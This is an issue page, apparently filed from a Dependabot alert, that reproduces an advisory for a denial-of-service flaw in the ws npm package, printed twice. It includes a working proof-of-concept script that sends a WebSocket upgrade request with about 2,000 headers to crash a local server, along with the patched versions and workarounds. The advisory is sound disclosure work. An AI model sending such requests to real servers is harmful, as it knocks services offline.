[26] ws affected by a DoS when handling a request with many HTTP headers #445

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opened 2024-06-24 18:46:52 +01:00 by Helpdesk · 0 comments

Helpdesk commented

2024-06-24 18:46:52 +01:00

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Package: ws (npm)
Affected versions: >= 8.0.0, < 8.17.1
Patched version: 8.17.1

https://github.com/Vylpes/vylbot-app/security/dependabot/26

Impact

A request with a number of headers exceeding the server.maxHeadersCount threshold could be used to crash a ws server.

Proof of concept

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
  });

  request.end();
});

Patches

The vulnerability was fixed in ws@8.17.1 (websockets/ws) and backported to ws@7.5.10 (websockets/ws), ws@6.2.3 (websockets/ws), and ws@5.2.4 (websockets/ws)

Workarounds

In vulnerable versions of ws, the issue can be mitigated in the following ways:

Reduce the maximum allowed length of the request headers using the --max-http-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.
Set server.maxHeadersCount to 0 so that no limit is applied.

Credits

The vulnerability was reported by Ryan LaPointe in websockets/ws.

References

Package: ws (npm) Affected versions: >= 8.0.0, < 8.17.1 Patched version: 8.17.1 https://github.com/Vylpes/vylbot-app/security/dependabot/26 --- ## Impact A request with a number of headers exceeding the server.maxHeadersCount threshold could be used to crash a ws server. ## Proof of concept ```js const http = require('http'); const WebSocket = require('ws'); const wss = new WebSocket.Server({ port: 0 }, function () { const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split(''); const headers = {}; let count = 0; for (let i = 0; i < chars.length; i++) { if (count === 2000) break; for (let j = 0; j < chars.length; j++) { const key = chars[i] + chars[j]; headers[key] = 'x'; if (++count === 2000) break; } } headers.Connection = 'Upgrade'; headers.Upgrade = 'websocket'; headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ=='; headers['Sec-WebSocket-Version'] = '13'; const request = http.request({ headers: headers, host: '127.0.0.1', port: wss.address().port }); request.end(); }); ``` ## Patches The vulnerability was fixed in ws@8.17.1 ([websockets/ws](https://github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c)) and backported to ws@7.5.10 ([websockets/ws](https://github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f)), ws@6.2.3 ([websockets/ws](https://github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63)), and ws@5.2.4 ([websockets/ws](https://github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e)) ## Workarounds In vulnerable versions of ws, the issue can be mitigated in the following ways: 1. Reduce the maximum allowed length of the request headers using the `--max-http-size=size` and/or the `maxHeaderSize` options so that no more headers than the `server.maxHeadersCount` limit can be sent. 2. Set `server.maxHeadersCount` to `0` so that no limit is applied. ## Credits The vulnerability was reported by [Ryan LaPointe](https://github.com/rrlapointe) in [websockets/ws](https://github.com/websockets/ws/issues/2230). ## References - https://github.com/websockets/ws/issues/2230 - https://github.com/websockets/ws/pull/2231